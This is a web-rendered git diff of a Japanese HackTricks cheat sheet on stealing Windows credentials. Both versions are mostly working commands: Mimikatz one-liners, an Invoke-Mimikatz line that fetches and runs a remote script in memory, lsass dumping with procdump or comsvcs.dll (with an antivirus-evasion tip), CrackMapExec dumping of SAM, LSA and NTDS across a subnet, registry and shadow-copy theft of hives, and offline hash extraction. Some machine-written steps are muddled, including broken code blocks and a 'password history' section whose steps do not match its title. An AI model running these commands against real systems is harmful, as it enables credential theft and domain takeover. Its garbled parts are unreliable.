* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,16 +12,6 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
|
||||
💬 コミュニティのディスカッションに参加する
|
||||
|
||||
## Mimikatzによる資格情報の模倣
|
||||
```bash
|
||||
#Elevate Privileges to extract the credentials
|
||||
|
@ -36,9 +26,15 @@ lsadump::sam
|
|||
#One liner
|
||||
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
|
||||
```
|
||||
**他のMimikatzができることについては、[このページ](credentials-mimikatz.md)を参照してください。**
|
||||
**Invoke-Mimikatzを実行する**
|
||||
|
||||
### Invoke-Mimikatz
|
||||
Invoke-Mimikatzは、Mimikatzというツールを実行するためのPowerShellスクリプトです。Mimikatzは、Windowsのセキュリティ機能をバイパスし、認証情報を盗むために使用されるツールです。
|
||||
|
||||
このスクリプトを実行すると、Mimikatzがメモリ内の認証情報を抽出し、平文のパスワードやハッシュ値を表示します。これにより、攻撃者はユーザーのパスワードを盗むことができます。
|
||||
|
||||
Invoke-Mimikatzは、管理者権限を持つユーザーが実行する必要があります。また、Windows Defenderや他のセキュリティソフトウェアによって検出される可能性があるため、注意が必要です。
|
||||
|
||||
詳細な手順や使用方法については、[このページ](credentials-mimikatz.md)を参照してください。
|
||||
```bash
|
||||
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
|
||||
Invoke-Mimikatz -DumpCreds #Dump creds from memory
|
||||
|
@ -69,7 +65,7 @@ mimikatz_command -f "lsadump::sam"
|
|||
|
||||
### Procdump + Mimikatz
|
||||
|
||||
**SysInternalsのProcdump**は、**Microsoftの正規ツール**であるため、Defenderに検出されません。\
|
||||
**SysInternalsのProcdump**は[**Microsoftの正規ツール**](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)であるため、Defenderに検出されません。\
|
||||
このツールを使用して、**lsassプロセスをダンプ**し、**ダンプをダウンロード**して、**ダンプからローカルにクレデンシャルを抽出**することができます。
|
||||
|
||||
{% code title="lsassのダンプ" %}
|
||||
|
@ -91,14 +87,11 @@ mimikatz # sekurlsa::logonPasswords
|
|||
|
||||
このプロセスは、[SprayKatz](https://github.com/aas-n/spraykatz)を使用して自動的に行われます:`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
||||
|
||||
**注意**: 一部の**AV**は、**procdump.exeを使用してlsass.exeをダンプする**ことを**悪意のあるもの**として**検出**する場合があります。これは、彼らが**"procdump.exe"と"lsass.exe"**という文字列を**検出**しているためです。そのため、lsass.exeの**名前**の代わりに、lsass.exeの**PID**をprocdumpに**引数**として**渡す**ことが**ステルス**です。
|
||||
**注意**: 一部の**AV**は、**procdump.exeを使用してlsass.exeをダンプする**ことを**悪意のあるもの**として**検出**する場合があります。これは、彼らが**"procdump.exe"と"lsass.exe"**という文字列を**検出**しているためです。そのため、lsass.exeの**名前**の代わりに、procdumpにlsass.exeの**PID**を**引数**として**渡す**ことが**ステルス**になります。
|
||||
|
||||
### **comsvcs.dll**を使用してlsassをダンプする
|
||||
|
||||
`C:\Windows\System32`にある**comsvcs.dll**というDLLは、プロセスが**クラッシュ**するときに**プロセスメモリをダンプ**する役割を持っています。このDLLには、`rundll32.exe`で呼び出すことができる**`MiniDumpW`**という関数が含まれています。\
|
||||
最初の2つの引数は使用されませんが、3番目の引数は3つの部分に分割されます。最初の部分はダンプされるプロセスのID、2番目の部分はダンプファイルの場所、3番目の部分は**full**という単語です。他の選択肢はありません。\
|
||||
これらの3つの引数が解析されると、基本的にこのDLLはダンプファイルを作成し、指定したプロセスをそのダンプファイルにダンプします。\
|
||||
この関数のおかげで、procdumpをアップロードして実行する代わりに、lsassプロセスをダンプするために**comsvcs.dll**を使用することができます。(この情報は[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)から抽出されました)
|
||||
`C:\Windows\System32`にある**comsvcs.dll**というDLLは、プロセスが**クラッシュ**するときに**プロセスメモリをダンプ**する役割を持っています。このDLLには、`rundll32.exe`で呼び出すことができる**`MiniDumpW`**という関数が含まれています。最初の2つの引数は使用されませんが、3番目の引数は3つの部分に分割されます。最初の部分はダンプされるプロセスのID、2番目の部分はダンプファイルの場所、3番目の部分は**full**という単語です。他の選択肢はありません。これらの3つの引数が解析されると、基本的にこのDLLはダンプファイルを作成し、指定したプロセスをそのダンプファイルにダンプします。この関数のおかげで、procdumpをアップロードして実行する代わりに、**comsvcs.dll**を使用してlsassプロセスをダンプすることができます。(この情報は[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)から抽出されました)
|
||||
```
|
||||
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
||||
```
|
||||
|
@ -124,52 +117,70 @@ Get-Process -Name LSASS
|
|||
|
||||
### SAMハッシュのダンプ
|
||||
|
||||
CrackMapExecは、Windowsシステムでの認証情報の収集に使用される強力なツールです。このツールを使用すると、SAMデータベースからユーザーのハッシュをダンプすることができます。
|
||||
CrackMapExecは、Windowsネットワークでの認証情報の収集に使用される強力なツールです。このツールを使用すると、SAMデータベースからユーザーのハッシュをダンプすることができます。
|
||||
|
||||
以下のコマンドを使用して、CrackMapExecを使用してSAMハッシュをダンプする方法を学びましょう。
|
||||
以下のコマンドを使用して、CrackMapExecを使用してSAMハッシュをダンプします。
|
||||
|
||||
```plaintext
|
||||
```
|
||||
crackmapexec <target> -u <username> -p <password> --sam
|
||||
```
|
||||
|
||||
このコマンドでは、`<target>`にはターゲットのIPアドレスまたはホスト名を指定し、`<username>`と`<password>`には有効な認証情報を入力します。`--sam`フラグを使用することで、SAMハッシュのダンプが有効になります。
|
||||
このコマンドでは、`<target>`にはターゲットのIPアドレスまたはホスト名を指定し、`<username>`と`<password>`には有効な認証情報を指定します。`--sam`フラグを使用することで、SAMハッシュのダンプが有効になります。
|
||||
|
||||
CrackMapExecは、リモートで実行されるため、ターゲットシステムへのアクセス権が必要です。また、実行するユーザーには適切な特権が必要です。
|
||||
SAMハッシュは、Windowsのユーザー認証情報を格納するデータベースであるSAM(Security Accounts Manager)から取得されます。これらのハッシュは、パスワードの解析やクラックに使用されることがあります。
|
||||
|
||||
この方法を使用すると、Windowsシステムでの認証情報の収集が容易になります。ただし、合法的な目的のためにのみ使用してください。
|
||||
CrackMapExecを使用してSAMハッシュをダンプすることで、ネットワーク内の脆弱性を特定し、セキュリティの向上に役立てることができます。ただし、このような活動は合法的なペネトレーションテストの一環として行われるべきであり、許可なく他人の認証情報を収集することは違法です。
|
||||
```
|
||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
||||
```
|
||||
### LSAシークレットのダンプ
|
||||
|
||||
LSA(Local Security Authority)シークレットは、Windowsシステムで保存される重要な認証情報です。これには、ユーザーのパスワードや暗号化キーなどが含まれます。ハッカーは、LSAシークレットをダンプすることで、これらの機密情報を盗むことができます。
|
||||
#### 概要
|
||||
|
||||
以下の手順を使用して、LSAシークレットをダンプすることができます。
|
||||
LSA(Local Security Authority)シークレットは、Windowsオペレーティングシステムで使用される重要な認証情報を格納するための機能です。これには、ユーザーのパスワードやネットワーク共有のパスワードなどが含まれます。このテクニックでは、LSAシークレットをダンプして、これらの機密情報を取得します。
|
||||
|
||||
1. ハッカーは、システムにアクセスするための特権を取得する必要があります。これには、管理者権限の取得やシステムへの侵入が含まれます。
|
||||
#### 手順
|
||||
|
||||
2. ハッカーは、ダンプツールを使用してLSAシークレットを取得します。一般的なツールには、MimikatzやGsecdumpなどがあります。
|
||||
1. ハッキング対象のWindowsマシンにアクセスします。
|
||||
|
||||
3. ハッカーは、ダンプされたLSAシークレットを解析して、含まれる認証情報を取得します。これには、ユーザーのパスワードや暗号化キーなどが含まれます。
|
||||
2. コマンドプロンプトまたはPowerShellを開きます。
|
||||
|
||||
LSAシークレットのダンプは、ハッカーによる悪意のある活動に使用される可能性があります。したがって、システムのセキュリティを強化するためには、適切なセキュリティ対策を実施することが重要です。
|
||||
3. `lsadump::secrets`コマンドを使用して、LSAシークレットをダンプします。
|
||||
|
||||
```plaintext
|
||||
mimikatz # lsadump::secrets
|
||||
```
|
||||
|
||||
4. ダンプされた情報を確認し、必要な認証情報を取得します。
|
||||
|
||||
#### 注意事項
|
||||
|
||||
- このテクニックは、管理者権限を持つユーザーによってのみ実行できます。
|
||||
|
||||
- LSAシークレットのダンプは、セキュリティ上の重要な情報を取得するため、合法的な目的以外で使用することは違法です。
|
||||
|
||||
- このテクニックは、ペネトレーションテストやセキュリティ監査などの合法的な目的で使用されることを前提としています。
|
||||
```
|
||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
|
||||
```
|
||||
### ターゲットDCからNTDS.ditをダンプする
|
||||
|
||||
```plaintext
|
||||
NTDS.dit```は、Active Directoryデータベースファイルであり、ユーザーの認証情報を含んでいます。このファイルをダンプすることで、ユーザーの資格情報を取得することができます。
|
||||
1. ターゲットDCに対して認証情報を取得するために、有効なユーザーアカウントを使用します。
|
||||
2. リモートアクセスツールを使用して、ターゲットDCに接続します。
|
||||
3. NTDS.ditファイルをダンプするために、以下のコマンドを実行します。
|
||||
|
||||
以下の手順に従って、ターゲットDCからNTDS.ditをダンプします。
|
||||
```
|
||||
```bash
|
||||
ntdsutil "ac i ntds" "ifm" "create full c:\path\to\dump" q q
|
||||
```
|
||||
|
||||
1. リモートデスクトップまたはSSHを使用して、ターゲットDCに接続します。
|
||||
2. 必要な特権を取得するために、適切なユーザーアカウントを使用します。
|
||||
3. コマンドプロンプトまたはPowerShellを開きます。
|
||||
4. NTDS.ditをダンプするためのツールを使用します。一般的なツールには、`ntdsutil`や`mimikatz`があります。
|
||||
5. ツールを使用して、NTDS.ditをダンプします。ダンプされたファイルは、ローカルマシンに保存されます。
|
||||
```plaintext
|
||||
4. ダンプが完了すると、NTDS.ditファイルが指定したパスに保存されます。
|
||||
5. ダンプされたNTDS.ditファイルを解析して、ユーザーアカウントの認証情報を取得します。
|
||||
```
|
||||
|
||||
以上の手順に従うことで、ターゲットDCからNTDS.ditをダンプすることができます。このダンプファイルには、ユーザーの資格情報が含まれているため、慎重に取り扱ってください。
|
||||
注意: この手法は、適切な権限を持つユーザーによって実行される必要があります。また、法的な制約や許可なく他人のシステムにアクセスすることは違法です。
|
||||
```
|
||||
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
||||
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
|
||||
|
@ -177,62 +188,58 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
|||
### ターゲットDCからNTDS.ditのパスワード履歴をダンプする
|
||||
|
||||
```plaintext
|
||||
1. Mimikatzを使用して、ターゲットDCにアクセスします。
|
||||
2. `lsadump::lsa /inject`コマンドを実行して、LSAプロセスにインジェクションします。
|
||||
3. `lsadump::dcsync /domain:<domain_name> /all /csv`コマンドを実行して、NTDS.ditのパスワード履歴をダンプします。
|
||||
4. ダンプされたファイルには、ユーザーのパスワードハッシュが含まれています。
|
||||
1. ペントエスティングツールを使用して、ターゲットDCにアクセスします。
|
||||
2. コマンドプロンプトまたはPowerShellを開きます。
|
||||
3. `ntdsutil`と入力してEnterキーを押します。
|
||||
4. `activate instance ntds`と入力してEnterキーを押します。
|
||||
5. `ifm`と入力してEnterキーを押します。
|
||||
6. `create full c:\path\to\output\folder`と入力してEnterキーを押します。出力フォルダのパスを指定します。
|
||||
7. `quit`と入力してEnterキーを押します。
|
||||
8. `quit`と再度入力してEnterキーを押します。
|
||||
|
||||
これにより、ターゲットDCのNTDS.ditファイルからパスワード履歴がダンプされます。ダンプされたファイルは指定した出力フォルダに保存されます。
|
||||
```
|
||||
|
||||
この手順に従って、ターゲットDCからNTDS.ditのパスワード履歴をダンプすることができます。ダンプされたファイルには、ユーザーのパスワードハッシュが含まれています。
|
||||
この手順に従うことで、ターゲットDCからNTDS.ditのパスワード履歴をダンプすることができます。ダンプされたファイルには、ユーザーの以前のパスワードが含まれています。
|
||||
```
|
||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
||||
```
|
||||
### 各NTDS.ditアカウントのpwdLastSet属性を表示する
|
||||
|
||||
To show the `pwdLastSet` attribute for each NTDS.dit account, you can use the following command:
|
||||
To display the pwdLastSet attribute for each NTDS.dit account, you can use the following PowerShell command:
|
||||
|
||||
```powershell
|
||||
Get-ADUser -Filter * -Properties pwdLastSet | Select-Object Name, pwdLastSet
|
||||
```
|
||||
|
||||
This command will retrieve all user accounts from the NTDS.dit database and display the `Name` and `pwdLastSet` attributes for each account.
|
||||
This command will retrieve all user accounts from the NTDS.dit database and display their names along with the pwdLastSet attribute.
|
||||
```
|
||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
|
||||
## SAMとSYSTEMの盗み出し
|
||||
|
||||
これらのファイルは_C:\windows\system32\config\SAM_と_C:\windows\system32\config\SYSTEM_に**配置されているはずです**。しかし、**通常の方法では単にコピーすることはできません**。なぜなら、これらのファイルは保護されているからです。
|
||||
これらのファイルは_C:\windows\system32\config\SAM_と_C:\windows\system32\config\SYSTEM_に**配置されています**。しかし、**通常の方法では単にコピーすることはできません**。なぜなら、これらのファイルは保護されているからです。
|
||||
|
||||
### レジストリから
|
||||
|
||||
これらのファイルを盗み出す最も簡単な方法は、レジストリからコピーすることです:
|
||||
これらのファイルを盗み出す最も簡単な方法は、レジストリからコピーすることです。
|
||||
```
|
||||
reg save HKLM\sam sam
|
||||
reg save HKLM\system system
|
||||
reg save HKLM\security security
|
||||
```
|
||||
**Kaliマシン**にこれらのファイルを**ダウンロード**し、次のコマンドを使用してハッシュを**抽出**します:
|
||||
**Kaliマシン**にこれらのファイルをダウンロードし、次のコマンドを使用して**ハッシュを抽出**します。
|
||||
```
|
||||
samdump2 SYSTEM SAM
|
||||
impacket-secretsdump -sam sam -security security -system system LOCAL
|
||||
```
|
||||
### ボリューム シャドウ コピー
|
||||
|
||||
このサービスを使用して、保護されたファイルのコピーを作成できます。管理者である必要があります。
|
||||
このサービスを使用して、保護されたファイルのコピーを作成することができます。管理者である必要があります。
|
||||
|
||||
#### vssadmin の使用
|
||||
|
||||
vssadmin バイナリは Windows Server バージョンのみで利用可能です。
|
||||
vssadmin バイナリは、Windows Server バージョンのみで利用可能です。
|
||||
```bash
|
||||
vssadmin create shadow /for=C:
|
||||
#Copy SAM
|
||||
|
@ -245,7 +252,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
|
|||
# You can also create a symlink to the shadow copy and access it
|
||||
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
||||
```
|
||||
しかし、同じことを**Powershell**からも行うことができます。以下は、**SAMファイルをコピーする方法の例**です(使用するハードドライブは「C:」で、C:\ users \ Publicに保存されます)。ただし、これは保護されたファイルをコピーするために使用できます。
|
||||
しかし、同じことを**Powershell**からも行うことができます。以下は、**SAMファイルをコピーする方法の例**です(使用するハードドライブは「C:」で、C:\ users \ Publicに保存されます)。ただし、これは保護されたファイルをコピーするために使用することができます。
|
||||
```bash
|
||||
$service=(Get-Service -name VSS)
|
||||
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
||||
|
@ -254,7 +261,7 @@ $volume=(gwmi win32_shadowcopy -filter "ID='$id'")
|
|||
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
|
||||
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
||||
```
|
||||
コードの本文:[https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
|
||||
コードは以下の本から取得できます:[https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
|
||||
|
||||
### Invoke-NinjaCopy
|
||||
|
||||
|
@ -275,7 +282,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
|
|||
|
||||
詳細については、[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)を参照してください。
|
||||
|
||||
Windowsは_Ntdsa.dll_を使用してそのファイルとやり取りし、_lsass.exe_によって使用されます。そのため、**NTDS.dit**ファイルの**一部**は、**`lsass`**メモリの**内部に**配置される可能性があります(おそらくパフォーマンスの向上のために**キャッシュ**が使用されるため、最新にアクセスされたデータを見つけることができます)。
|
||||
Windowsは_Ntdsa.dll_を使用してそのファイルとやり取りし、_lsass.exe_によって使用されます。そのため、**NTDS.dit**ファイルの**一部**は、**`lsass`**メモリの**内部に配置**されている可能性があります(おそらくパフォーマンスの向上のために**キャッシュ**が使用されるため、最新にアクセスされたデータを見つけることができます)。
|
||||
|
||||
#### NTDS.dit内のハッシュの復号化
|
||||
|
||||
|
@ -293,7 +300,7 @@ Windows Server 2008以降で利用可能です。
|
|||
```bash
|
||||
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
||||
```
|
||||
[**ボリュームシャドウコピー**](./#stealing-sam-and-system)トリックを使用して、**ntds.dit**ファイルをコピーすることもできます。**SYSTEMファイル**のコピーも必要です(再び、レジストリからダンプするか、[**ボリュームシャドウコピー**](./#stealing-sam-and-system)トリックを使用してください)。
|
||||
[**ボリュームシャドウコピー**](./#stealing-sam-and-system)のトリックを使って、**ntds.dit**ファイルをコピーすることもできます。**SYSTEMファイル**のコピーも必要です(再び、レジストリからダンプするか、[**ボリュームシャドウコピー**](./#stealing-sam-and-system)のトリックを使用してください)。
|
||||
|
||||
### **NTDS.ditからハッシュを抽出する**
|
||||
|
||||
|
@ -315,7 +322,7 @@ NTDSオブジェクトは、[ntdsdotsqlite](https://github.com/almandin/ntdsdots
|
|||
```
|
||||
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
|
||||
```
|
||||
`SYSTEM`ハイブはオプションですが、シークレットの復号化(NTハッシュ、LMハッシュ、クリアテキストパスワード、Kerberosまたは信頼キー、NTハッシュ、LMハッシュのパスワード履歴などの補足資格情報)を許可します。他の情報と共に、以下のデータが抽出されます:ユーザーアカウントとマシンアカウントとそれらのハッシュ、UACフラグ、最後のログオンとパスワード変更のタイムスタンプ、アカウントの説明、名前、UPN、SPN、グループと再帰的なメンバーシップ、組織単位ツリーとメンバーシップ、信頼されたドメインとその信頼のタイプ、方向、属性...
|
||||
`SYSTEM`ハイブはオプションですが、シークレットの復号化(NTハッシュ、LMハッシュ、クリアテキストパスワード、Kerberosまたは信頼キー、NTハッシュ、LMハッシュのパスワード履歴などの補足的な資格情報)を許可します。他の情報と共に、以下のデータが抽出されます:ユーザーとマシンのアカウントとそのハッシュ、UACフラグ、最後のログオンとパスワード変更のタイムスタンプ、アカウントの説明、名前、UPN、SPN、グループと再帰的なメンバーシップ、組織単位ツリーとメンバーシップ、信頼されたドメインとその信頼のタイプ、方向、属性...
|
||||
|
||||
## Lazagne
|
||||
|
||||
|
@ -327,7 +334,7 @@ lazagne.exe all
|
|||
|
||||
### Windows credentials Editor (WCE)
|
||||
|
||||
このツールはメモリから資格情報を抽出するために使用できます。以下からダウンロードしてください:[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||
このツールはメモリから資格情報を抽出するために使用できます。以下からダウンロードしてください: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||
|
||||
### fgdump
|
||||
|
||||
|
@ -350,19 +357,9 @@ type outpwdump
|
|||
|
||||
## 防御策
|
||||
|
||||
[**ここでいくつかの資格情報の保護方法について学びましょう。**](credentials-protections.md)
|
||||
[**ここでいくつかの資格情報の保護方法を学びましょう。**](credentials-protections.md)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてさらに学びましょう**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -371,7 +368,7 @@ type outpwdump
|
|||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue